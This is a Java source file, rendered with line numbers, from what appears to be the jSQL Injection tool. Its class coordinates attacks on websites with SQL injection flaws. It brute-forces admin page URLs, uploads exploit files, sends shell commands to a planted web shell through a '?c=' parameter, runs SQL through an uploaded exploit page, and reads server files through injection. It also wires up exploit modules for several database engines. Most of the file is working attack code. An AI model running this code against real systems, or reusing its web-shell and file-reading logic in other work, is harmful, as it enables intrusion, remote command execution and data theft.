View Javadoc
1   /*******************************************************************************
2    * Copyhacked (H) 2012-2025.
3    * This program and the accompanying materials
4    * are made available under no term at all, use it like
5    * you want, but share and discuss it
6    * every time possible with every body.
7    * 
8    * Contributors:
9    *      ron190 at ymail dot com - initial implementation
10   ******************************************************************************/
11  package com.jsql.model.accessible;
12  
13  import com.jsql.model.InjectionModel;
14  import com.jsql.model.accessible.vendor.*;
15  import com.jsql.model.bean.database.MockElement;
16  import com.jsql.model.bean.util.Header;
17  import com.jsql.model.bean.util.Interaction;
18  import com.jsql.model.bean.util.Request;
19  import com.jsql.model.exception.JSqlException;
20  import com.jsql.model.suspendable.SuspendableGetRows;
21  import com.jsql.util.ConnectionUtil;
22  import com.jsql.util.LogLevelUtil;
23  import org.apache.commons.lang3.StringUtils;
24  import org.apache.logging.log4j.LogManager;
25  import org.apache.logging.log4j.Logger;
26  
27  import java.io.File;
28  import java.io.IOException;
29  import java.io.InputStream;
30  import java.net.URI;
31  import java.net.URLEncoder;
32  import java.net.http.HttpHeaders;
33  import java.net.http.HttpRequest;
34  import java.net.http.HttpRequest.BodyPublishers;
35  import java.net.http.HttpResponse;
36  import java.net.http.HttpResponse.BodyHandlers;
37  import java.nio.charset.StandardCharsets;
38  import java.nio.file.Files;
39  import java.nio.file.Paths;
40  import java.time.Duration;
41  import java.util.*;
42  import java.util.concurrent.CompletionService;
43  import java.util.concurrent.ExecutionException;
44  import java.util.concurrent.ExecutorCompletionService;
45  import java.util.concurrent.ExecutorService;
46  import java.util.function.BinaryOperator;
47  import java.util.regex.Pattern;
48  
49  /**
50   * Resource access object.
51   * Get information from file system, commands, webpage.
52   */
53  public class ResourceAccess {
54      
55      /**
56       * Log4j logger sent to view.
57       */
58      private static final Logger LOGGER = LogManager.getRootLogger();
59  
60      /**
61       * True if admin page should stop, false otherwise.
62       */
63      private boolean isSearchAdminStopped = false;
64      
65      /**
66       * True if scan list should stop, false otherwise.
67       */
68      private boolean isScanStopped = false;
69  
70      /**
71       * True if ongoing file reading must stop, false otherwise.
72       * If true any new file read is cancelled at start.
73       */
74      private boolean isSearchFileStopped = false;
75  
76      /**
77       * List of ongoing jobs.
78       */
79      private final List<CallableFile> callablesReadFile = new ArrayList<>();
80      private final InjectionModel injectionModel;
81      private final ExploitSqlite exploitSqlite;
82      private final ExploitMysql exploitMysql;
83      private final ExploitOracle exploitOracle;
84      private final ExploitPostgres exploitPostgres;
85      private final ExploitHsqldb exploitHsqldb;
86      private final ExploitH2 exploitH2;
87      private final ExploitDerby exploitDerby;
88  
89      // compatible cross-platform win+linux (spaces around plus sign required)
90      public static final String WEB_CONFIRM_CMD = URLEncoder.encode("expr 133707330 + 10001", StandardCharsets.ISO_8859_1);
91      public static final String WEB_CONFIRM_RESULT = "133717331";
92      public static final String SQL_CONFIRM_CMD = "select 1337";
93      public static final String SQL_CONFIRM_RESULT = "| 1337 |";
94  
95      public static final String SQL_DOT_PHP = "sql.php";
96      public static final String EXPLOIT_DOT_UPL = "exploit.upl";
97      public static final String EXPLOIT_DOT_WEB = "exploit.web";
98      public static final String UPLOAD_SUCCESSFUL = "Upload successful: ack received for {}{}";
99      public static final String UPLOAD_FAILURE = "Upload failure: missing ack for {}{}";
100 
101     public static final String LOID_NOT_FOUND = "Exploit loid not found";
102     public static final String ADD_LOID = "loid#create";
103     public static final String WRITE_LOID = "loid#write";
104     public static final String READ_LOID = "loid#read";
105 
106     public static final String DROP_FUNC = "func#drop";
107     public static final String ADD_FUNC = "body#add-func";
108     public static final String RUN_FUNC = "body#run-func";
109     public static final String BODY_CONFIRM = "body#confirm";
110     public static final String UDF_RUN_CMD = "udf#run-cmd";
111 
112     public static final String TBL_CREATE = "tbl#create";
113     public static final String TBL_FILL = "tbl#fill";
114     public static final String TBL_DUMP = "tbl#dump";
115     public static final String TBL_DROP = "tbl#drop";
116     public static final String TBL_READ = "tbl#read";
117 
118     public static final String FILE_READ = "file#read";
119 
120     // TODO should redirect error directly to default output
121     public static final String TEMPLATE_ERROR = "Command failure: %s\nTry '%s 2>&1' to get a system error message.\n";
122 
123     public ResourceAccess(InjectionModel injectionModel) {
124         this.injectionModel = injectionModel;
125         this.exploitSqlite = new ExploitSqlite(injectionModel);
126         this.exploitMysql = new ExploitMysql(injectionModel);
127         this.exploitOracle = new ExploitOracle(injectionModel);
128         this.exploitPostgres = new ExploitPostgres(injectionModel);
129         this.exploitHsqldb = new ExploitHsqldb(injectionModel);
130         this.exploitH2 = new ExploitH2(injectionModel);
131         this.exploitDerby = new ExploitDerby(injectionModel);
132     }
133 
134     /**
135      * Check if every page in the list responds 200 Success.
136      * @param pageNames    List of admin pages to test
137      */
138     public int createAdminPages(String urlInjection, List<String> pageNames) {
139         var matcher = Pattern.compile("^((https?://)?[^/]*)(.*)").matcher(urlInjection);
140         matcher.find();
141         String urlProtocol = matcher.group(1);
142         String urlWithoutProtocol = matcher.group(3);
143 
144         List<String> folderSplits = new ArrayList<>();
145 
146         // Hostname only
147         if (urlWithoutProtocol.isEmpty() || !Pattern.matches("^/.*", urlWithoutProtocol)) {
148             urlWithoutProtocol = "/dummy";
149         }
150         String[] splits = urlWithoutProtocol.split("/", -1);
151         String[] folderNames = Arrays.copyOf(splits, splits.length - 1);
152         for (String folderName: folderNames) {
153             folderSplits.add(folderName +"/");
154         }
155 
156         ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetAdminPage");
157         CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
158 
159         var urlPart = new StringBuilder();
160         for (String segment: folderSplits) {
161             urlPart.append(segment);
162             for (String pageName: pageNames) {
163                 taskCompletionService.submit(
164                     new CallableHttpHead(
165                         urlProtocol + urlPart + pageName,
166                         this.injectionModel,
167                         "check:page"
168                     )
169                 );
170             }
171         }
172 
173         var nbAdminPagesFound = 0;
174         int submittedTasks = folderSplits.size() * pageNames.size();
175         int tasksHandled;
176         for (
177             tasksHandled = 0
178             ; tasksHandled < submittedTasks && !this.isSearchAdminStopped()
179             ; tasksHandled++
180         ) {
181             nbAdminPagesFound = this.callAdminPage(taskCompletionService, nbAdminPagesFound);
182         }
183 
184         this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
185         this.isSearchAdminStopped = false;
186         this.logSearchAdminPage(nbAdminPagesFound, submittedTasks, tasksHandled);
187 
188         return nbAdminPagesFound;
189     }
190 
191     public int callAdminPage(CompletionService<CallableHttpHead> taskCompletionService, int nbAdminPagesFound) {
192         int nbAdminPagesFoundFixed = nbAdminPagesFound;
193         
194         try {
195             CallableHttpHead currentCallable = taskCompletionService.take().get();
196             if (currentCallable.isHttpResponseOk()) {
197                 var request = new Request();
198                 request.setMessage(Interaction.CREATE_ADMIN_PAGE_TAB);
199                 request.setParameters(currentCallable.getUrl());
200                 this.injectionModel.sendToViews(request);
201 
202                 nbAdminPagesFoundFixed++;
203                 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Found page: {}", currentCallable.getUrl());
204             }
205         } catch (InterruptedException e) {
206             LOGGER.log(LogLevelUtil.IGNORE, e, e);
207             Thread.currentThread().interrupt();
208         } catch (ExecutionException e) {
209             LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
210         }
211         return nbAdminPagesFoundFixed;
212     }
213 
214     public void logSearchAdminPage(int nbAdminPagesFound, int submittedTasks, int tasksHandled) {
215         var result = String.format(
216             "Searched %s/%s page%s: %s found",
217             tasksHandled,
218             submittedTasks,
219             tasksHandled > 1 ? 's' : StringUtils.EMPTY,
220             nbAdminPagesFound
221         );
222         
223         if (nbAdminPagesFound > 0) {
224             LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
225         } else {
226             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
227         }
228     }
229 
230     public String checkUrls(String urlExploit, String nameExploit, BinaryOperator<String> biFuncGetRequest) {
231         String urlExploitFixed = urlExploit;
232         if (!urlExploitFixed.isEmpty()) {
233             urlExploitFixed = urlExploitFixed.replaceAll("/*$", StringUtils.EMPTY) +"/";
234         }
235         String url = urlExploitFixed;
236         if (StringUtils.isEmpty(url)) {
237             url = this.injectionModel.getMediatorUtils().getConnectionUtil().getUrlBase();
238         }
239         String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", StringUtils.EMPTY);
240         String urlProtocol;
241         if ("/".equals(urlWithoutProtocol)) {
242             urlProtocol = url.replaceAll("/+$", StringUtils.EMPTY);
243         } else {
244             urlProtocol = url.replace(urlWithoutProtocol, StringUtils.EMPTY);
245         }
246 
247         List<String> directoryNames = new ArrayList<>();
248         String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", StringUtils.EMPTY).replaceAll("/+", "/");
249         if (urlWithoutFileName.split("/").length == 0) {
250             directoryNames.add("/");
251         }
252         for (String directoryName: urlWithoutFileName.split("/")) {
253             directoryNames.add(directoryName +"/");
254         }
255         String urlSuccess = this.getExploitUrl(nameExploit, directoryNames, urlProtocol);
256         if (urlSuccess != null) {
257             urlSuccess = biFuncGetRequest.apply(nameExploit, urlSuccess);
258         } else {
259             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit access failure: connection URL not found");
260         }
261         return urlSuccess;
262     }
263 
264     private String getExploitUrl(String filename, List<String> directoryNames, String urlProtocol) {
265         ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetExploitUrl");
266         CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
267         var urlPart = new StringBuilder();
268 
269         for (String segment: directoryNames) {
270             urlPart.append(segment);
271             taskCompletionService.submit(
272                 new CallableHttpHead(
273                     urlProtocol + urlPart + filename,
274                     this.injectionModel,
275                     "xplt#confirm-url"
276                 )
277             );
278         }
279 
280         String urlSuccess = null;
281         int submittedTasks = directoryNames.size();
282         for (var tasksHandled = 0 ; tasksHandled < submittedTasks ; tasksHandled++) {
283             try {
284                 CallableHttpHead currentCallable = taskCompletionService.take().get();
285                 if (currentCallable.isHttpResponseOk()) {
286                     urlSuccess = currentCallable.getUrl();
287                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Connection successful to [{}]", currentCallable.getUrl());
288                     break;
289                 }
290             } catch (InterruptedException e) {
291                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
292                 Thread.currentThread().interrupt();
293             } catch (ExecutionException e) {
294                 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
295             }
296         }
297 
298         this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
299         return urlSuccess;
300     }
301 
302     public String callCommand(String urlCommand) {
303         return this.callCommand(urlCommand, false);
304     }
305 
306     public String callCommand(String urlCommand, boolean isConnectIssueIgnored) {
307         String pageSource;
308         try {
309             pageSource = this.injectionModel.getMediatorUtils().getConnectionUtil().getSource(urlCommand, isConnectIssueIgnored);
310         } catch (Exception e) {
311             pageSource = StringUtils.EMPTY;
312         }
313         
314         var regexSearch = Pattern.compile("(?s)<"+ DataAccess.LEAD +">(.*?)<"+ DataAccess.TRAIL +">").matcher(pageSource);
315         regexSearch.find();
316 
317         String result;
318         // IllegalStateException #1544: catch incorrect execution
319         try {
320             result = regexSearch.group(1);
321         } catch (IllegalStateException e) {
322             result = StringUtils.EMPTY;  // fix return null from regex
323             if (!isConnectIssueIgnored) {
324                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", "command"));
325             }
326         }
327         return result;
328     }
329     
330     /**
331      * Run a shell command on host.
332      * @param command The command to execute
333      * @param uuidShell An unique identifier for terminal
334      * @param urlExploit Web path of the shell
335      */
336     public String runWebShell(String command, UUID uuidShell, String urlExploit) {
337         return this.runWebShell(command, uuidShell, urlExploit, false);
338     }
339     public String runWebShell(String command, UUID uuidShell, String urlExploit, boolean isConnectIssueIgnored) {
340         String result = this.callCommand(
341             urlExploit +"?c="+ URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
342             isConnectIssueIgnored
343         );
344         if (StringUtils.isBlank(result)) {
345             result = String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", command);
346         }
347         var request = new Request();  // Unfreeze GUI terminal
348         request.setMessage(Interaction.GET_TERMINAL_RESULT);
349         request.setParameters(uuidShell, result);
350         this.injectionModel.sendToViews(request);
351         return result;
352     }
353 
354     /**
355      * Execute SQL request into terminal defined by URL path, eventually override with database user/pass identifiers.
356      * @param command SQL request to execute
357      * @param uuidShell Identifier of terminal sending the request
358      * @param urlExploit URL to send SQL request against
359      * @param username Username [optional]
360      * @param password password [optional]
361      */
362     public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password) {
363         return this.runSqlShell(command, uuidShell, urlExploit, username, password, true);
364     }
365 
366     public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password, boolean isResultSentToView) {
367         String result = this.callCommand(String.format(
368              "%s?q=%s&u=%s&p=%s",
369              urlExploit,
370              URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
371              username,
372              password
373         ));
374             
375         if (result.contains("<SQLr>")) {
376             List<List<String>> listRows = this.parse(result);
377             if (listRows.isEmpty()) {
378                 result = "Result not found: check your credentials or review logs in tab Network\n";
379             } else {
380                 List<Integer> listFieldsLength = this.parseColumnLength(listRows);
381                 result = this.convert(listRows, listFieldsLength);
382             }
383         } else if (result.contains("<SQLm>")) {  // todo deprecated
384             result = result.replace("<SQLm>", StringUtils.EMPTY) +"\n";
385         } else if (result.contains("<SQLe>")) {  // todo deprecated
386             result = result.replace("<SQLe>", StringUtils.EMPTY) +"\n";
387         }
388 
389         if (isResultSentToView) {
390             var request = new Request();  // Unfreeze GUI terminal
391             request.setMessage(Interaction.GET_TERMINAL_RESULT);
392             request.setParameters(uuidShell, result, command);
393             this.injectionModel.sendToViews(request);
394         }
395         return result;
396     }
397 
398     private String convert(List<List<String>> listRows, List<Integer> listFieldsLength) {
399         var tableText = new StringBuilder("+");
400         for (Integer fieldLength: listFieldsLength) {
401             tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
402         }
403         tableText.append("\n");
404         for (List<String> listFields: listRows) {
405             tableText.append("|");
406             var cursorPosition = 0;
407             for (String field: listFields) {
408                 tableText.append(StringUtils.SPACE)
409                     .append(field)
410                     .append(StringUtils.repeat(StringUtils.SPACE, listFieldsLength.get(cursorPosition) - field.length()))
411                     .append(" |");
412                 cursorPosition++;
413             }
414             tableText.append("\n");
415         }
416         tableText.append("+");
417         for (Integer fieldLength: listFieldsLength) {
418             tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
419         }
420         tableText.append("\n");
421         return tableText.toString();
422     }
423 
424     private List<Integer> parseColumnLength(List<List<String>> listRows) {
425         List<Integer> listFieldsLength = new ArrayList<>();
426         for (
427             var indexLongestRowSearch = 0;
428             indexLongestRowSearch < listRows.get(0).size();
429             indexLongestRowSearch++
430         ) {
431             int indexLongestRowSearchFinal = indexLongestRowSearch;
432             listRows.sort(
433                 (firstRow, secondRow) -> secondRow.get(indexLongestRowSearchFinal).length() - firstRow.get(indexLongestRowSearchFinal).length()
434             );
435             listFieldsLength.add(listRows.get(0).get(indexLongestRowSearch).length());
436         }
437         return listFieldsLength;
438     }
439 
440     private List<List<String>> parse(String result) {
441         List<List<String>> listRows = new ArrayList<>();
442         var rowsMatcher = Pattern.compile("(?si)<tr>(<td>.*?</td>)</tr>").matcher(result);
443         while (rowsMatcher.find()) {
444             String values = rowsMatcher.group(1);
445             var fieldsMatcher = Pattern.compile("(?si)<td>(.*?)</td>").matcher(values);
446             List<String> listFields = new ArrayList<>();
447             listRows.add(listFields);
448             
449             while (fieldsMatcher.find()) {
450                 String field = fieldsMatcher.group(1);
451                 listFields.add(field);
452             }
453         }
454         return listRows;
455     }
456 
457     public HttpResponse<String> upload(File file, String url, InputStream streamToUpload) throws IOException, JSqlException, InterruptedException {
458         var crLf = "\r\n";
459         var boundary = "---------------------------4664151417711";
460         
461         var streamData = new byte[streamToUpload.available()];
462         if (streamToUpload.read(streamData) == -1) {
463             throw new JSqlException("Error reading the file");
464         }
465         
466         String headerForm = StringUtils.EMPTY;
467         headerForm += "--"+ boundary + crLf;
468         headerForm += "Content-Disposition: form-data; name=\"u\"; filename=\""+ file.getName() +"\""+ crLf;
469         headerForm += "Content-Type: binary/octet-stream"+ crLf;
470         headerForm += crLf;
471 
472         String headerFile = StringUtils.EMPTY;
473         headerFile += crLf +"--"+ boundary +"--"+ crLf;
474 
475         var httpRequest = HttpRequest.newBuilder()
476             .uri(URI.create(url))
477             .timeout(Duration.ofSeconds(15))
478             .POST(BodyPublishers.ofByteArrays(
479                 Arrays.asList(
480                     headerForm.getBytes(StandardCharsets.UTF_8),
481                     Files.readAllBytes(Paths.get(file.toURI())),
482                     headerFile.getBytes(StandardCharsets.UTF_8)
483                 )
484             ))
485             .setHeader("Content-Type", "multipart/form-data; boundary=" + boundary)
486             .build();
487 
488         var response = this.injectionModel.getMediatorUtils().getConnectionUtil().getHttpClient().build().send(httpRequest, BodyHandlers.ofString());
489         HttpHeaders httpHeaders = response.headers();
490         String pageSource = response.body();
491 
492         Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
493         msgHeader.put(Header.URL, url);
494         msgHeader.put(Header.HEADER, ConnectionUtil.getHeadersMap(httpRequest.headers()));
495         msgHeader.put(Header.RESPONSE, ConnectionUtil.getHeadersMap(httpHeaders));
496         msgHeader.put(Header.SOURCE, pageSource);
497         msgHeader.put(Header.METADATA_PROCESS, "upl#multipart");
498         var request = new Request();
499         request.setMessage(Interaction.MESSAGE_HEADER);
500         request.setParameters(msgHeader);
501         this.injectionModel.sendToViews(request);
502         return response;
503     }
504     
505     /**
506      * Check if current user can read files.
507      * @return True if user can read file, false otherwise
508      * @throws JSqlException when an error occurs during injection
509      */
510     public boolean isMysqlReadDenied() throws JSqlException {
511         var sourcePage = new String[]{ StringUtils.EMPTY };
512         String resultInjection = new SuspendableGetRows(this.injectionModel).run(
513             this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getPrivilege(),
514             sourcePage,
515             false,
516             1,
517             MockElement.MOCK,
518             "privilege"
519         );
520 
521         boolean readingIsAllowed = false;
522 
523         if (StringUtils.isEmpty(resultInjection)) {
524             this.injectionModel.sendResponseFromSite("Can't read privilege", sourcePage[0].trim());
525             var request = new Request();
526             request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
527             this.injectionModel.sendToViews(request);
528         } else if ("false".equals(resultInjection)) {
529             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Privilege FILE not granted: files not readable by current user");
530             var request = new Request();
531             request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
532             this.injectionModel.sendToViews(request);
533         } else {
534             var request = new Request();
535             request.setMessage(Interaction.MARK_FILE_SYSTEM_VULNERABLE);
536             this.injectionModel.sendToViews(request);
537             readingIsAllowed = true;
538         }
539         
540         return !readingIsAllowed;
541     }
542 
543     /**
544      * Attempt to read files in parallel by their path from the website using injection.
545      * Reading file needs a FILE right on the server.
546      * The user can interrupt the process at any time.
547      * @param pathsFiles List of file paths to read
548      * @throws JSqlException when an error occurs during injection
549      * @throws InterruptedException if the current thread was interrupted while waiting
550      * @throws ExecutionException if the computation threw an exception
551      */
552     public List<String> readFile(List<String> pathsFiles) throws JSqlException, InterruptedException, ExecutionException {
553         if (
554             this.injectionModel.getMediatorVendor().getVendor() == this.injectionModel.getMediatorVendor().getMysql()
555             && this.isMysqlReadDenied()
556         ) {
557             return Collections.emptyList();
558         }
559 
560         var countFileFound = 0;
561         var results = new ArrayList<String>();
562 
563         ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableReadFile");
564         CompletionService<CallableFile> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
565 
566         for (String pathFile: pathsFiles) {
567             var callableFile = new CallableFile(pathFile, this.injectionModel);
568             taskCompletionService.submit(callableFile);
569             this.callablesReadFile.add(callableFile);
570         }
571 
572         List<String> duplicate = new ArrayList<>();
573         int submittedTasks = pathsFiles.size();
574         int tasksHandled;
575 
576         for (
577             tasksHandled = 0
578             ; tasksHandled < submittedTasks && !this.isSearchFileStopped
579             ; tasksHandled++
580         ) {
581             var currentCallable = taskCompletionService.take().get();
582             if (StringUtils.isNotEmpty(currentCallable.getSourceFile())) {
583                 var name = currentCallable.getPathFile().substring(
584                     currentCallable.getPathFile().lastIndexOf('/') + 1
585                 );
586                 String content = currentCallable.getSourceFile();
587                 String path = currentCallable.getPathFile();
588 
589                 var request = new Request();
590                 request.setMessage(Interaction.CREATE_FILE_TAB);
591                 request.setParameters(name, content, path);
592                 this.injectionModel.sendToViews(request);
593 
594                 if (!duplicate.contains(path.replace(name, StringUtils.EMPTY))) {
595                     LOGGER.log(
596                         LogLevelUtil.CONSOLE_INFORM,
597                         "Folder exploit candidate: {}",
598                         () -> path.replace(name, StringUtils.EMPTY)
599                     );
600                 }
601 
602                 duplicate.add(path.replace(name, StringUtils.EMPTY));
603                 results.add(content);
604 
605                 countFileFound++;
606             }
607         }
608 
609         // Force ongoing suspendables to stop immediately
610         for (CallableFile callableReadFile: this.callablesReadFile) {
611             callableReadFile.getSuspendableReadFile().stop();
612         }
613         this.callablesReadFile.clear();
614         this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
615         this.isSearchFileStopped = false;
616 
617         var result = String.format(
618             "Searched %s/%s file%s: %s found",
619             tasksHandled,
620             submittedTasks,
621             tasksHandled > 1 ? 's' : StringUtils.EMPTY,
622             countFileFound
623         );
624 
625         if (countFileFound > 0) {
626             LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
627         } else {
628             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
629         }
630         return results;
631     }
632 
633     public String getResult(String query, String metadata) throws JSqlException {
634         var sourcePage = new String[]{ StringUtils.EMPTY };
635         return new SuspendableGetRows(this.injectionModel).run(
636             query,
637             sourcePage,
638             false,
639             0,
640             MockElement.MOCK,
641             metadata
642         );
643     }
644 
645     public String getResultWithCatch(String query, String metadata) {
646         var sourcePage = new String[]{ StringUtils.EMPTY };
647         try {
648             return new SuspendableGetRows(this.injectionModel).run(
649                 query,
650                 sourcePage,
651                 false,
652                 0,
653                 MockElement.MOCK,
654                 metadata
655             );
656         } catch (JSqlException ignored) {
657             return StringUtils.EMPTY;
658         }
659     }
660 
661     /**
662      * Mark the search of files to stop.
663      * Any ongoing file reading is interrupted and any new file read
664      * is cancelled.
665      */
666     public void stopSearchFile() {
667         this.isSearchFileStopped = true;
668         for (CallableFile callable: this.callablesReadFile) {
669             callable.getSuspendableReadFile().stop();  // force ongoing business to stop immediately
670         }
671     }
672 
673     public void stopSearchAdmin() {
674         this.isSearchAdminStopped = true;
675     }
676 
677 
678     // Getters and setters
679 
680     public ExploitSqlite getExploitSqlite() {
681         return this.exploitSqlite;
682     }
683 
684     public ExploitMysql getExploitMysql() {
685         return this.exploitMysql;
686     }
687 
688     public ExploitOracle getExploitOracle() {
689         return this.exploitOracle;
690     }
691 
692     public ExploitPostgres getExploitPostgres() {
693         return this.exploitPostgres;
694     }
695 
696     public boolean isSearchAdminStopped() {
697         return this.isSearchAdminStopped;
698     }
699     
700     public void setScanStopped(boolean isScanStopped) {
701         this.isScanStopped = isScanStopped;
702     }
703 
704     public boolean isScanStopped() {
705         return this.isScanStopped;
706     }
707 
708     public ExploitHsqldb getExploitHsqldb() {
709         return this.exploitHsqldb;
710     }
711 
712     public ExploitH2 getExploitH2() {
713         return this.exploitH2;
714     }
715 
716     public ExploitDerby getExploitDerby() {
717         return this.exploitDerby;
718     }
719 }